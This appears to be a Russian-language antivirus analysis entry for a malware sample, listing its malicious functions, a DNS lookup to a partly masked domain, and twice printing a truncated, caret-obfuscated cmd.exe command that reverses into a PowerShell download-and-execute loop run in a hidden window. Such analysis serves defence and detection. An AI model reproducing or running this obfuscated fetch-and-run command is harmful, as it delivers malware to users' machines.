Техническая информация
Вредоносные функции
Загружает файлы и запускает на исполнение.
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /V^:ON/C"^s^e^t N^5^e=^ ^ ^ ^ ^ ^ ^ ^ ^ ^}}^{^hct^ac}^;^kaer^b;VWi$ me^t^I^-e^kovnI^;)V^W^i^$^ ^,^YRC^$(^eli^F^d^a^o^lnwoD^.NDp^$^{yrt^{)^E^Qz^$ n^i ^YRC$(^hc^aer^o^f;^'e^x^e^.^'^+c^w^m...
Сетевая активность
UDP
- DNS ASK 4j####32ayqiw.com
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' /V^:ON/C"^s^e^t N^5^e=^ ^ ^ ^ ^ ^ ^ ^ ^ ^}}^{^hct^ac}^;^kaer^b;VWi$ me^t^I^-e^kovnI^;)V^W^i^$^ ^,^YRC^$(^eli^F^d^a^o^lnwoD^.NDp^$^{yrt^{)^E^Qz^$ n^i ^YRC$(^hc^aer^o^f;^'e^x^e^.^'^+c^w^m...' (со скрытым окном)
